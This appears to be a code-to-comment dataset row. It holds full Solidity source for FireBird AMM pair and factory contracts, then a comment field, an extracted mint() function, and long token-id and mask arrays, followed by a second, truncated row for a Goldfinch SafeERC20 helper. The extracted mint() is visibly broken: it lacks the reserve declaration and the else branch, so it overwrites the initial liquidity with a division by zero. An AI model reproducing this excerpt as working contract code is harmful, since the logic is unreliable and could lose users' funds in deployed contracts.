interface IFireBirdFactory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint32 tokenWeight0, uint32 swapFee, uint256);
function feeTo() external view returns (address);
function formula() external view returns (address);
function protocolFee() external view returns (uint256);
function feeToSetter() external view returns (address);
function getPair(
address tokenA,
address tokenB,
uint32 tokenWeightA,
uint32 swapFee
) external view returns (address pair);
function allPairs(uint256) external view returns (address pair);
function isPair(address) external view returns (bool);
function allPairsLength() external view returns (uint256);
function createPair(
address tokenA,
address tokenB,
uint32 tokenWeightA,
uint32 swapFee
) external returns (address pair);
function getWeightsAndSwapFee(address pair)
external
view
returns (
uint32 tokenWeight0,
uint32 tokenWeight1,
uint32 swapFee
);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
function setProtocolFee(uint256) external;
}
interface IFireBirdPair {
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address owner) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 value) external returns (bool);
function transfer(address to, uint256 value) external returns (bool);
function transferFrom(
address from,
address to,
uint256 value
) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint256);
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external;
event PaidProtocolFee(uint112 collectedFee0, uint112 collectedFee1);
event Mint(address indexed sender, uint256 amount0, uint256 amount1);
event Burn(address indexed sender, uint256 amount0, uint256 amount1, address indexed to);
event Swap(address indexed sender, uint256 amount0In, uint256 amount1In, uint256 amount0Out, uint256 amount1Out, address indexed to);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint256);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves()
external
view
returns (
uint112 reserve0,
uint112 reserve1,
uint32 blockTimestampLast
);
function getCollectedFees() external view returns (uint112 _collectedFee0, uint112 _collectedFee1);
function getTokenWeights() external view returns (uint32 tokenWeight0, uint32 tokenWeight1);
function getSwapFee() external view returns (uint32);
function price0CumulativeLast() external view returns (uint256);
function price1CumulativeLast() external view returns (uint256);
function mint(address to) external returns (uint256 liquidity);
function burn(address to) external returns (uint256 amount0, uint256 amount1);
function swap(
uint256 amount0Out,
uint256 amount1Out,
address to,
bytes calldata data
) external;
function skim(address to) external;
function sync() external;
function initialize(
address,
address,
uint32,
uint32
) external;
}
/*
Bancor Formula interface
*/
interface IFireBirdFormula {
function getFactoryReserveAndWeights(
address factory,
address pair,
address tokenA,
uint8 dexId
)
external
view
returns (
address tokenB,
uint256 reserveA,
uint256 reserveB,
uint32 tokenWeightA,
uint32 tokenWeightB,
uint32 swapFee
);
function getFactoryWeightsAndSwapFee(
address factory,
address pair,
uint8 dexId
)
external
view
returns (
uint32 tokenWeight0,
uint32 tokenWeight1,
uint32 swapFee
);
function getAmountIn(
uint256 amountOut,
uint256 reserveIn,
uint256 reserveOut,
uint32 tokenWeightIn,
uint32 tokenWeightOut,
uint32 swapFee
) external view returns (uint256 amountIn);
function getAmountOut(
uint256 amountIn,
uint256 reserveIn,
uint256 reserveOut,
uint32 tokenWeightIn,
uint32 tokenWeightOut,
uint32 swapFee
) external view returns (uint256 amountOut);
function getFactoryAmountsIn(
address factory,
address tokenIn,
address tokenOut,
uint256 amountOut,
address[] calldata path,
uint8[] calldata dexIds
) external view returns (uint256[] memory amounts);
function getFactoryAmountsOut(
address factory,
address tokenIn,
address tokenOut,
uint256 amountIn,
address[] calldata path,
uint8[] calldata dexIds
) external view returns (uint256[] memory amounts);
function ensureConstantValue(
uint256 reserve0,
uint256 reserve1,
uint256 balance0Adjusted,
uint256 balance1Adjusted,
uint32 tokenWeight0
) external view returns (bool);
function getReserves(
address pair,
address tokenA,
address tokenB
) external view returns (uint256 reserveA, uint256 reserveB);
function getOtherToken(address pair, address tokenA) external view returns (address tokenB);
function quote(
uint256 amountA,
uint256 reserveA,
uint256 reserveB
) external pure returns (uint256 amountB);
function sortTokens(address tokenA, address tokenB) external pure returns (address token0, address token1);
function mintLiquidityFee(
uint256 totalLiquidity,
uint112 reserve0,
uint112 reserve1,
uint32 tokenWeight0,
uint32 tokenWeight1,
uint112 collectedFee0,
uint112 collectedFee1
) external view returns (uint256 amount);
}
interface IFireBirdERC20 {
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address owner) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 value) external returns (bool);
function transfer(address to, uint256 value) external returns (bool);
function transferFrom(
address from,
address to,
uint256 value
) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint256);
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external;
}
// a library for performing overflow-safe math, courtesy of DappHub (https://github.com/dapphub/ds-math)
library SafeMath {
function add(uint256 x, uint256 y) internal pure returns (uint256 z) {
require((z = x + y) >= x, "ds-math-add-overflow");
}
function sub(uint256 x, uint256 y) internal pure returns (uint256 z) {
require((z = x - y) <= x, "ds-math-sub-underflow");
}
function mul(uint256 x, uint256 y) internal pure returns (uint256 z) {
require(y == 0 || (z = x * y) / y == x, "ds-math-mul-overflow");
}
function div(uint256 a, uint256 b) internal pure returns (uint256 c) {
require(b > 0, "ds-math-division-by-zero");
c = a / b;
}
}
contract FireBirdERC20 is IFireBirdERC20 {
using SafeMath for uint256;
string public constant name = "FireBird Liquidity Provider";
string public constant symbol = "FLP";
uint8 public constant decimals = 18;
uint256 public totalSupply;
mapping(address => uint256) public balanceOf;
mapping(address => mapping(address => uint256)) public allowance;
bytes32 public DOMAIN_SEPARATOR;
// keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
bytes32 public constant PERMIT_TYPEHASH = 0x6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9;
mapping(address => uint256) public nonces;
constructor() public {
uint256 chainId;
assembly {
chainId := chainid
}
DOMAIN_SEPARATOR = keccak256(
abi.encode(keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"), keccak256(bytes(name)), keccak256(bytes("1")), chainId, address(this))
);
}
function _mint(address to, uint256 value) internal {
totalSupply = totalSupply.add(value);
balanceOf[to] = balanceOf[to].add(value);
emit Transfer(address(0), to, value);
}
function _burn(address from, uint256 value) internal {
balanceOf[from] = balanceOf[from].sub(value);
totalSupply = totalSupply.sub(value);
emit Transfer(from, address(0), value);
}
function _approve(
address owner,
address spender,
uint256 value
) private {
allowance[owner][spender] = value;
emit Approval(owner, spender, value);
}
function _transfer(
address from,
address to,
uint256 value
) private {
balanceOf[from] = balanceOf[from].sub(value);
balanceOf[to] = balanceOf[to].add(value);
emit Transfer(from, to, value);
}
function approve(address spender, uint256 value) external returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
function transfer(address to, uint256 value) external returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
function transferFrom(
address from,
address to,
uint256 value
) external returns (bool) {
if (allowance[from][msg.sender] != uint256(-1)) {
allowance[from][msg.sender] = allowance[from][msg.sender].sub(value);
}
_transfer(from, to, value);
return true;
}
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external {
require(deadline >= block.timestamp, "FLP: EXPIRED");
bytes32 digest = keccak256(abi.encodePacked("\x19\x01", DOMAIN_SEPARATOR, keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, value, nonces[owner]++, deadline))));
address recoveredAddress = ecrecover(digest, v, r, s);
require(recoveredAddress != address(0) && recoveredAddress == owner, "FLP: INVALID_SIGNATURE");
_approve(owner, spender, value);
}
}
// a library for performing various math operations
library Math {
function min(uint256 x, uint256 y) internal pure returns (uint256 z) {
z = x < y ? x : y;
}
// babylonian method (https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method)
function sqrt(uint256 y) internal pure returns (uint256 z) {
if (y > 3) {
z = y;
uint256 x = y / 2 + 1;
while (x < z) {
z = x;
x = (y / x + x) / 2;
}
} else if (y != 0) {
z = 1;
}
}
}
// a library for handling binary fixed point numbers (https://en.wikipedia.org/wiki/Q_(number_format))
// range: [0, 2**112 - 1]
// resolution: 1 / 2**112
library UQ112x112 {
uint224 constant Q112 = 2**112;
// encode a uint112 as a UQ112x112
function encode(uint112 y) internal pure returns (uint224 z) {
z = uint224(y) * Q112; // never overflows
}
// divide a UQ112x112 by a uint112, returning a UQ112x112
function uqdiv(uint224 x, uint112 y) internal pure returns (uint224 z) {
z = x / uint224(y);
}
}
interface IERC20 {
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address owner) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 value) external returns (bool);
function transfer(address to, uint256 value) external returns (bool);
function transferFrom(
address from,
address to,
uint256 value
) external returns (bool);
}
interface IUniswapV2Callee {
function uniswapV2Call(
address sender,
uint256 amount0,
uint256 amount1,
bytes calldata data
) external;
}
contract FireBirdPair is IFireBirdPair, FireBirdERC20 {
using SafeMath for uint256;
using UQ112x112 for uint224;
uint256 public constant MINIMUM_LIQUIDITY = 10**3;
bytes4 private constant SELECTOR = bytes4(keccak256(bytes("transfer(address,uint256)")));
address public factory;
address public token0;
address public token1;
uint112 private reserve0; // uses single storage slot, accessible via getReserves
uint112 private reserve1; // uses single storage slot, accessible via getReserves
uint32 private blockTimestampLast; // uses single storage slot, accessible via getReserves
uint256 public price0CumulativeLast;
uint256 public price1CumulativeLast;
uint256 private unlocked = 1;
address public formula;
uint112 private collectedFee0; // uses single storage slot, accessible via getReserves
uint112 private collectedFee1; // uses single storage slot, accessible via getReserves
uint32 private tokenWeight0;
uint32 private swapFee;
modifier lock() {
require(unlocked == 1, "FLP: LOCKED");
unlocked = 0;
_;
unlocked = 1;
}
function getReserves()
public
view
returns (
uint112 _reserve0,
uint112 _reserve1,
uint32 _blockTimestampLast
)
{
_reserve0 = reserve0;
_reserve1 = reserve1;
_blockTimestampLast = blockTimestampLast;
}
function getCollectedFees() public view returns (uint112 _collectedFee0, uint112 _collectedFee1) {
_collectedFee0 = collectedFee0;
_collectedFee1 = collectedFee1;
}
function getTokenWeights() public view returns (uint32 _tokenWeight0, uint32 _tokenWeight1) {
_tokenWeight0 = tokenWeight0;
_tokenWeight1 = 100 - tokenWeight0;
}
function getSwapFee() public view returns (uint32 _swapFee) {
_swapFee = swapFee;
}
function _safeTransfer(
address token,
address to,
uint256 value
) private {
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(SELECTOR, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), "FLP: TRANSFER_FAILED");
}
constructor() public {
factory = msg.sender;
}
// called once by the factory at time of deployment
function initialize(
address _token0,
address _token1,
uint32 _tokenWeight0,
uint32 _swapFee
) external {
require(msg.sender == factory, "FLP: FORBIDDEN");
// sufficient check
token0 = _token0;
token1 = _token1;
tokenWeight0 = _tokenWeight0;
swapFee = _swapFee;
formula = IFireBirdFactory(factory).formula();
}
// update reserves and, on the first call per block, price accumulators
function _update(
uint256 balance0,
uint256 balance1,
uint112 _reserve0,
uint112 _reserve1
) private {
uint32 _tokenWeight0 = tokenWeight0;
require(balance0 * (100 - _tokenWeight0) <= uint112(-1) && balance1 * _tokenWeight0 <= uint112(-1), "FLP: OVERFLOW");
uint32 blockTimestamp = uint32(block.timestamp % 2**32);
uint32 timeElapsed = blockTimestamp - blockTimestampLast;
// overflow is desired
if (timeElapsed > 0 && _reserve0 != 0 && _reserve1 != 0) {
// * never overflows, and + overflow is desired
uint112 mReserve0 = _reserve0 * (100 - _tokenWeight0);
uint112 mReserve1 = _reserve1 * _tokenWeight0;
price0CumulativeLast += uint256(UQ112x112.encode(mReserve1).uqdiv(mReserve0)) * timeElapsed;
price1CumulativeLast += uint256(UQ112x112.encode(mReserve0).uqdiv(mReserve1)) * timeElapsed;
}
reserve0 = uint112(balance0);
reserve1 = uint112(balance1);
blockTimestampLast = blockTimestamp;
emit Sync(reserve0, reserve1);
}
function _mintFee(uint112 _reserve0, uint112 _reserve1) private returns (bool feeOn) {
address feeTo = IFireBirdFactory(factory).feeTo();
uint112 protocolFee = uint112(IFireBirdFactory(factory).protocolFee());
feeOn = feeTo != address(0);
(uint112 _collectedFee0, uint112 _collectedFee1) = getCollectedFees();
if (protocolFee > 0 && feeOn && (_collectedFee0 > 0 || _collectedFee1 > 0)) {
uint32 _tokenWeight0 = tokenWeight0;
uint256 liquidity = IFireBirdFormula(formula).mintLiquidityFee(totalSupply, _reserve0, _reserve1, _tokenWeight0, 100 - _tokenWeight0, _collectedFee0 / protocolFee, _collectedFee1 / protocolFee);
if (liquidity > 0) _mint(feeTo, liquidity);
}
if (_collectedFee0 > 0) collectedFee0 = 0;
if (_collectedFee1 > 0) collectedFee1 = 0;
}
// this low-level function should be called from a contract which performs important safety checks
function mint(address to) external lock returns (uint256 liquidity) {
(uint112 _reserve0, uint112 _reserve1, ) = getReserves(); // gas savings
uint256 balance0 = IERC20(token0).balanceOf(address(this));
uint256 balance1 = IERC20(token1).balanceOf(address(this));
uint256 amount0 = balance0.sub(_reserve0);
uint256 amount1 = balance1.sub(_reserve1);
_mintFee(_reserve0, _reserve1);
uint256 _totalSupply = totalSupply;
// gas savings, must be defined here since totalSupply can update in _mintFee
if (_totalSupply == 0) {
liquidity = Math.sqrt(amount0.mul(amount1)).sub(MINIMUM_LIQUIDITY);
_mint(address(0), MINIMUM_LIQUIDITY);
// permanently lock the first MINIMUM_LIQUIDITY tokens
} else {
liquidity = Math.min(amount0.mul(_totalSupply) / _reserve0, amount1.mul(_totalSupply) / _reserve1);
}
require(liquidity > 0, "FLP: INSUFFICIENT_LIQUIDITY_MINTED");
_mint(to, liquidity);
_update(balance0, balance1, _reserve0, _reserve1);
emit Mint(msg.sender, amount0, amount1);
}
// this low-level function should be called from a contract which performs important safety checks
function burn(address to) external lock returns (uint256 amount0, uint256 amount1) {
(uint112 _reserve0, uint112 _reserve1, ) = getReserves(); // gas savings
address _token0 = token0; // gas savings
address _token1 = token1; // gas savings
uint256 balance0 = IERC20(_token0).balanceOf(address(this));
uint256 balance1 = IERC20(_token1).balanceOf(address(this));
uint256 liquidity = balanceOf[address(this)];
_mintFee(_reserve0, _reserve1);
uint256 _totalSupply = totalSupply; // gas savings, must be defined here since totalSupply can update in _mintFee
amount0 = liquidity.mul(balance0) / _totalSupply; // using balances ensures pro-rata distribution
amount1 = liquidity.mul(balance1) / _totalSupply; // using balances ensures pro-rata distribution
require(amount0 > 0 && amount1 > 0, "FLP: INSUFFICIENT_LIQUIDITY_BURNED");
_burn(address(this), liquidity);
_safeTransfer(_token0, to, amount0);
_safeTransfer(_token1, to, amount1);
balance0 = IERC20(_token0).balanceOf(address(this));
balance1 = IERC20(_token1).balanceOf(address(this));
_update(balance0, balance1, _reserve0, _reserve1);
emit Burn(msg.sender, amount0, amount1, to);
}
// this low-level function should be called from a contract which performs important safety checks
function swap(
uint256 amount0Out,
uint256 amount1Out,
address to,
bytes calldata data
) external lock {
require(amount0Out > 0 || amount1Out > 0, "FLP: INSUFFICIENT_OUTPUT_AMOUNT");
uint112 _reserve0 = reserve0; // gas savings
uint112 _reserve1 = reserve1; // gas savings
require(amount0Out < _reserve0 && amount1Out < _reserve1, "FLP: INSUFFICIENT_LIQUIDITY");
uint256 balance0;
uint256 balance1;
{
// scope for _token{0,1}, avoids stack too deep errors
address _token0 = token0;
address _token1 = token1;
require(to != _token0 && to != _token1, "FLP: INVALID_TO");
if (amount0Out > 0) _safeTransfer(_token0, to, amount0Out); // optimistically transfer tokens
if (amount1Out > 0) _safeTransfer(_token1, to, amount1Out); // optimistically transfer tokens
if (data.length > 0) IUniswapV2Callee(to).uniswapV2Call(msg.sender, amount0Out, amount1Out, data);
balance0 = IERC20(_token0).balanceOf(address(this));
balance1 = IERC20(_token1).balanceOf(address(this));
}
uint256 amount0In = balance0 > _reserve0 - amount0Out ? balance0 - (_reserve0 - amount0Out) : 0;
uint256 amount1In = balance1 > _reserve1 - amount1Out ? balance1 - (_reserve1 - amount1Out) : 0;
require(amount0In > 0 || amount1In > 0, "FLP: INSUFFICIENT_INPUT_AMOUNT");
{
// scope for reserve{0,1}Adjusted, avoids stack too deep errors
uint256 balance0Adjusted = balance0.mul(10000);
uint256 balance1Adjusted = balance1.mul(10000);
{
// avoids stack too deep errors
if (amount0In > 0) {
uint256 amount0InFee = amount0In.mul(swapFee);
balance0Adjusted = balance0Adjusted.sub(amount0InFee);
collectedFee0 = uint112(uint256(collectedFee0).add(amount0InFee));
}
if (amount1In > 0) {
uint256 amount1InFee = amount1In.mul(swapFee);
balance1Adjusted = balance1Adjusted.sub(amount1InFee);
collectedFee1 = uint112(uint256(collectedFee1).add(amount1InFee));
}
uint32 _tokenWeight0 = tokenWeight0; // gas savings
if (_tokenWeight0 == 50) {
// gas savings for pair 50/50
require(balance0Adjusted.mul(balance1Adjusted) >= uint256(_reserve0).mul(_reserve1).mul(10000**2), "FLP: K");
} else {
require(IFireBirdFormula(formula).ensureConstantValue(uint256(_reserve0).mul(10000), uint256(_reserve1).mul(10000), balance0Adjusted, balance1Adjusted, _tokenWeight0), "FLP: K");
}
}
}
_update(balance0, balance1, _reserve0, _reserve1);
emit Swap(msg.sender, amount0In, amount1In, amount0Out, amount1Out, to);
}
// force balances to match reserves
function skim(address to) external lock {
address _token0 = token0; // gas savings
address _token1 = token1; // gas savings
_safeTransfer(_token0, to, IERC20(_token0).balanceOf(address(this)).sub(reserve0));
_safeTransfer(_token1, to, IERC20(_token1).balanceOf(address(this)).sub(reserve1));
}
// force reserves to match balances
function sync() external lock {
_update(IERC20(token0).balanceOf(address(this)), IERC20(token1).balanceOf(address(this)), reserve0, reserve1);
}
}
contract FireBirdFactory is IFireBirdFactory {
address public feeTo;
address public formula;
uint256 public protocolFee;
address public feeToSetter;
mapping(bytes32 => address) private _pairSalts;
address[] public allPairs;
mapping(address => uint64) private _pairs;
constructor(address _feeToSetter, address _formula) public {
feeToSetter = _feeToSetter;
formula = _formula;
}
function isPair(address b) external view returns (bool) {
return _pairs[b] > 0;
}
function allPairsLength() external view returns (uint256) {
return allPairs.length;
}
function getPair(
address tokenA,
address tokenB,
uint32 tokenWeightA,
uint32 swapFee
) external view returns (address pair) {
(address token0, address token1, uint32 tokenWeight0) = tokenA < tokenB ? (tokenA, tokenB, tokenWeightA) : (tokenB, tokenA, 100 - tokenWeightA);
bytes32 salt = keccak256(abi.encodePacked(token0, token1, tokenWeight0, swapFee));
pair = _pairSalts[salt];
}
function createPair(
address tokenA,
address tokenB,
uint32 tokenWeightA,
uint32 swapFee
) external returns (address pair) {
require(tokenA != tokenB, "FLP: IDENTICAL_ADDRESSES");
require(tokenWeightA >= 2 && tokenWeightA <= 98 && (tokenWeightA % 2) == 0, "FLP: INVALID_TOKEN_WEIGHT");
// swap fee from [0.01% - 20%]
require(swapFee >= 1 && swapFee <= 2000, "FLP: INVALID_SWAP_FEE");
(address token0, address token1, uint32 tokenWeight0) = tokenA < tokenB ? (tokenA, tokenB, tokenWeightA) : (tokenB, tokenA, 100 - tokenWeightA);
require(token0 != address(0), "FLP: ZERO_ADDRESS");
// single check is sufficient
bytes memory bytecode = type(FireBirdPair).creationCode;
bytes32 salt = keccak256(abi.encodePacked(token0, token1, tokenWeight0, swapFee));
require(_pairSalts[salt] == address(0), "FLP: PAIR_EXISTS");
assembly {
pair := create2(0, add(bytecode, 32), mload(bytecode), salt)
}
IFireBirdPair(pair).initialize(token0, token1, tokenWeight0, swapFee);
_pairSalts[salt] = address(pair);
allPairs.push(pair);
uint64 weightAndFee = uint64(swapFee);
weightAndFee |= uint64(tokenWeight0) << 32;
_pairs[address(pair)] = weightAndFee;
emit PairCreated(token0, token1, pair, tokenWeight0, swapFee, allPairs.length);
}
function setFeeTo(address _feeTo) external {
require(msg.sender == feeToSetter, "FLP: FORBIDDEN");
feeTo = _feeTo;
}
function setFeeToSetter(address _feeToSetter) external {
require(msg.sender == feeToSetter, "FLP: FORBIDDEN");
feeToSetter = _feeToSetter;
}
function setProtocolFee(uint256 _protocolFee) external {
require(msg.sender == feeToSetter, "FLP: FORBIDDEN");
require(_protocolFee == 0 || (_protocolFee >= 10000 && _protocolFee <= 100000), "FLP: Invalid Protocol fee");
protocolFee = _protocolFee;
}
function getWeightsAndSwapFee(address pair)
public
view
returns (
uint32 tokenWeight0,
uint32 tokenWeight1,
uint32 swapFee
)
{
uint64 weightAndFee = _pairs[pair];
if (weightAndFee > 0) {
swapFee = uint32(weightAndFee);
tokenWeight0 = uint32(weightAndFee >> 32);
tokenWeight1 = 100 - tokenWeight0;
} else {
// Default is 0.3%
return (50, 50, 30);
}
}
} | this low-level function should be called from a contract which performs important safety checks gas savings, must be defined here since totalSupply can update in _mintFee permanently lock the first MINIMUM_LIQUIDITY tokens | function mint(address to) external lock returns (uint256 liquidity) {
uint256 balance0 = IERC20(token0).balanceOf(address(this));
uint256 balance1 = IERC20(token1).balanceOf(address(this));
uint256 amount0 = balance0.sub(_reserve0);
uint256 amount1 = balance1.sub(_reserve1);
_mintFee(_reserve0, _reserve1);
uint256 _totalSupply = totalSupply;
if (_totalSupply == 0) {
liquidity = Math.sqrt(amount0.mul(amount1)).sub(MINIMUM_LIQUIDITY);
_mint(address(0), MINIMUM_LIQUIDITY);
liquidity = Math.min(amount0.mul(_totalSupply) / _reserve0, amount1.mul(_totalSupply) / _reserve1);
}
require(liquidity > 0, "FLP: INSUFFICIENT_LIQUIDITY_MINTED");
_mint(to, liquidity);
_update(balance0, balance1, _reserve0, _reserve1);
emit Mint(msg.sender, amount0, amount1);
}
| 2,092,107 | [
1,
2211,
4587,
17,
2815,
445,
1410,
506,
2566,
628,
279,
6835,
1492,
11199,
10802,
24179,
4271,
16189,
4087,
899,
16,
1297,
506,
2553,
2674,
3241,
2078,
3088,
1283,
848,
1089,
316,
389,
81,
474,
14667,
16866,
715,
2176,
326,
1122,
6989,
18605,
67,
2053,
53,
3060,
4107,
2430,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
225,
445,
312,
474,
12,
2867,
358,
13,
3903,
2176,
1135,
261,
11890,
5034,
4501,
372,
24237,
13,
288,
203,
565,
2254,
5034,
11013,
20,
273,
467,
654,
39,
3462,
12,
2316,
20,
2934,
12296,
951,
12,
2867,
12,
2211,
10019,
203,
565,
2254,
5034,
11013,
21,
273,
467,
654,
39,
3462,
12,
2316,
21,
2934,
12296,
951,
12,
2867,
12,
2211,
10019,
203,
565,
2254,
5034,
3844,
20,
273,
11013,
20,
18,
1717,
24899,
455,
6527,
20,
1769,
203,
565,
2254,
5034,
3844,
21,
273,
11013,
21,
18,
1717,
24899,
455,
6527,
21,
1769,
203,
565,
389,
81,
474,
14667,
24899,
455,
6527,
20,
16,
389,
455,
6527,
21,
1769,
203,
565,
2254,
5034,
389,
4963,
3088,
1283,
273,
2078,
3088,
1283,
31,
203,
565,
309,
261,
67,
4963,
3088,
1283,
422,
374,
13,
288,
203,
1377,
4501,
372,
24237,
273,
2361,
18,
24492,
12,
8949,
20,
18,
16411,
12,
8949,
21,
13,
2934,
1717,
12,
6236,
18605,
67,
2053,
53,
3060,
4107,
1769,
203,
1377,
389,
81,
474,
12,
2867,
12,
20,
3631,
6989,
18605,
67,
2053,
53,
3060,
4107,
1769,
203,
1377,
4501,
372,
24237,
273,
2361,
18,
1154,
12,
8949,
20,
18,
16411,
24899,
4963,
3088,
1283,
13,
342,
389,
455,
6527,
20,
16,
3844,
21,
18,
16411,
24899,
4963,
3088,
1283,
13,
342,
389,
455,
6527,
21,
1769,
203,
565,
289,
203,
565,
2583,
12,
549,
372,
24237,
405,
374,
16,
315,
42,
14461,
30,
2120,
6639,
42,
1653,
7266,
2222,
67,
2053,
53,
3060,
4107,
67,
6236,
6404,
2
] |
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts-ethereum-package/contracts/token/ERC20/IERC20.sol";
/**
* @title Safe ERC20 Transfer
* @notice Reverts when transfer is not successful
* @author Goldfinch
*/
abstract contract SafeERC20Transfer {
function safeERC20Transfer(
IERC20 erc20,
address to,
uint256 amount,
string memory message
) internal {
require(to != address(0), "Can't send to zero address");
bool success = erc20.transfer(to, amount);
require(success, message);
}
function safeERC20Transfer(
IERC20 erc20,
address to,
uint256 amount
) internal {
safeERC20Transfer(erc20, to, amount, "Failed to transfer ERC20");
}
function safeERC20TransferFrom(
IERC20 erc20,
address from,
address to,
uint256 amount,
string memory message
) internal {
require(to != address(0), "Can't send to zero address");
bool success = erc20.transferFrom(from, to, amount);
require(success, message);
}
function safeERC20TransferFrom(
IERC20 erc20,
address from,
address to,
uint256 amount
) internal {
string memory message = "Failed to transfer ERC20";
safeERC20TransferFrom(erc20, from, to, amount, message);
}
function safeERC20Approve(
IERC20 erc20,
address spender,
uint256 allowance,
string memory message
) internal {
bool success = erc20.approve(spender, allowance);
require(success, message);
}
function safeERC20Approve(
IERC20 erc20,
address spender,
uint256 allowance
) internal {
string memory message = "Failed to approve ERC20";
safeERC20Approve(erc20, spender, allowance, message);
}
}
| * @title Safe ERC20 Transfer @notice Reverts when transfer is not successful @author Goldfinch/ | abstract contract SafeERC20Transfer {
function safeERC20Transfer(
IERC20 erc20,
address to,
uint256 amount,
string memory message
) internal {
require(to != address(0), "Can't send to zero address");
bool success = erc20.transfer(to, amount);
require(success, message);
}
function safeERC20Transfer(
IERC20 erc20,
address to,
uint256 amount
) internal {
safeERC20Transfer(erc20, to, amount, "Failed to transfer ERC20");
}
function safeERC20TransferFrom(
IERC20 erc20,
address from,
address to,
uint256 amount,
string memory message
) internal {
require(to != address(0), "Can't send to zero address");
bool success = erc20.transferFrom(from, to, amount);
require(success, message);
}
function safeERC20TransferFrom(
IERC20 erc20,
address from,
address to,
uint256 amount
) internal {
string memory message = "Failed to transfer ERC20";
safeERC20TransferFrom(erc20, from, to, amount, message);
}
function safeERC20Approve(
IERC20 erc20,
address spender,
uint256 allowance,
string memory message
) internal {
bool success = erc20.approve(spender, allowance);
require(success, message);
}
function safeERC20Approve(
IERC20 erc20,
address spender,
uint256 allowance
) internal {
string memory message = "Failed to approve ERC20";
safeERC20Approve(erc20, spender, allowance, message);
}
}
| 5,414,441 | [
1,
9890,
4232,
39,
3462,
12279,
225,
868,
31537,
1347,
7412,
353,
486,
6873,
225,
611,
1673,
926,
343,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
